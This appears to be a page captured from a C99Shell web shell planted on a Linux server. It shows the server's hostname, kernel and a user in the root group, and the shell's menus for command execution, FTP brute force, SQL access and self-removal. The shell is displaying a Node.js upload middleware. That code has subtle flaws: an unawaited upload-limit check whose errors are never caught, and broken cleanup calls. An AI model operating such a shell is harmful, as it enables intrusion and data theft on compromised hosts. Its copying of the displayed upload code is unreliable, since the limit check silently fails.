!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/note.picotech.app/public_html/src/middleware/   drwxr-xr-x
Free 25.88 GB of 117.98 GB (21.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     upload.js (4.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const multer = require('multer');
const path = require('path');
const { v4: uuidv4 } = require('uuid');
const { AppError } = require('../middleware/errorHandler');
const fs = require('fs');
const crypto = require('crypto');
const { UserUploadLimit } = require('../models');

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = path.join(__dirname, '../../storage/recordings');
    // Ensure directory exists
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir, { recursive: true });
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    const ext = path.extname(file.originalname);
    cb(null, `${uuidv4()}${ext}`);
  }
});

// File signature validation function
const validateFileSignature = async (filePath, mimeType) => {
  try {
    const buffer = await fs.promises.readFile(filePath, { length: 12 }); // Read first 12 bytes for signature check
    // Audio file signatures (magic numbers) with optional offset
    const signatures = {
      'audio/mpeg': [[0xFF, 0xFB], [0xFF, 0xF3], [0xFF, 0xF2], [0x49, 0x44, 0x33]], // MP3 - offset 0
      'audio/wav': [[0x52, 0x49, 0x46, 0x46]], // WAV - offset 0
      'audio/mp4': [[0x66, 0x74, 0x79, 0x70, 4]], // MP4 - 'ftyp' at offset 4
      'audio/m4a': [[0x66, 0x74, 0x79, 0x70, 4]], // M4A - 'ftyp' at offset 4
      'audio/webm': [[0x1A, 0x45, 0xDF, 0xA3]], // WebM - offset 0
      'audio/ogg': [[0x4F, 0x67, 0x67, 0x53]] // OGG - offset 0
    };

    const validSignatures = signatures[mimeType];
    if (!validSignatures) {
      return false;
    }

    // Check if file contains any of the valid signatures
    const isValid = validSignatures.some(signature => {
      const sig = Array.isArray(signature) ? signature : [signature];
      const offset = sig.length > 4 && typeof sig[sig.length - 1] === 'number' ? sig.pop() : 0;
      for (let i = 0; i < sig.length; i++) {
        if (buffer[offset + i] !== sig[i]) {
          return false;
        }
      }
      return true;
    });
    return isValid;
  } catch (error) {
    return false;
  }
};

// Check and update user upload limits (now using database)
const checkUserUploadLimits = async (userId, fileSize) => {
  try {
    await UserUploadLimit.checkAndUpdateLimits(userId, fileSize);
  } catch (error) {
    throw new AppError(error.message, 429);
  }
};

const fileFilter = async (req, file, cb) => {
  const allowedTypes = ['audio/mpeg', 'audio/wav', 'audio/mp4', 'audio/m4a', 'audio/webm', 'audio/ogg'];

  // First check MIME type
  if (!allowedTypes.includes(file.mimetype)) {
    cb(new AppError('Invalid file type. Only audio files are allowed.', 400), false);
    return;
  }

  // For now, accept the file - we'll validate signature after upload
  // This is because multer needs the file to be written to disk first for signature validation
  cb(null, true);
};

exports.uploadSingle = (fieldName) => {
  const upload = multer({
    storage,
    fileFilter,
    limits: {
      fileSize: 50 * 1024 * 1024 // 50MB limit per file
    }
  }).single(fieldName);

  // Return middleware that includes post-upload validation and user limits
  return (req, res, next) => {
    upload(req, res, async (err) => {
      if (err) {
        return next(err);
      }

      // If file was uploaded, validate its signature and check user limits
      if (req.file) {
        const isValidSignature = await validateFileSignature(req.file.path, req.file.mimetype);
        if (!isValidSignature) {
          // Clean up invalid file
          try {
            await fs.promises.unlink(req.file.path);
          } catch (cleanupError) {
            console.error('Failed to clean up invalid file:', cleanupError);
          }
          return next(new AppError('File content does not match expected audio format.', 400));
        }

        // Check per-user upload limits
        try {
          const userId = req.user?.id;
          if (userId) {
            checkUserUploadLimits(userId, req.file.size);
          }
        } catch (limitError) {
          // Clean up file if limit exceeded
          try {
            await fs.unlink(req.file.path);
          } catch (cleanupError) {
            console.error('Failed to clean up file after limit check:', cleanupError);
          }
          return next(limitError);
        }
      }

      next();
    });
  };
};

// Export validation function for use in other parts of the application
exports.validateFileSignature = validateFileSignature;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--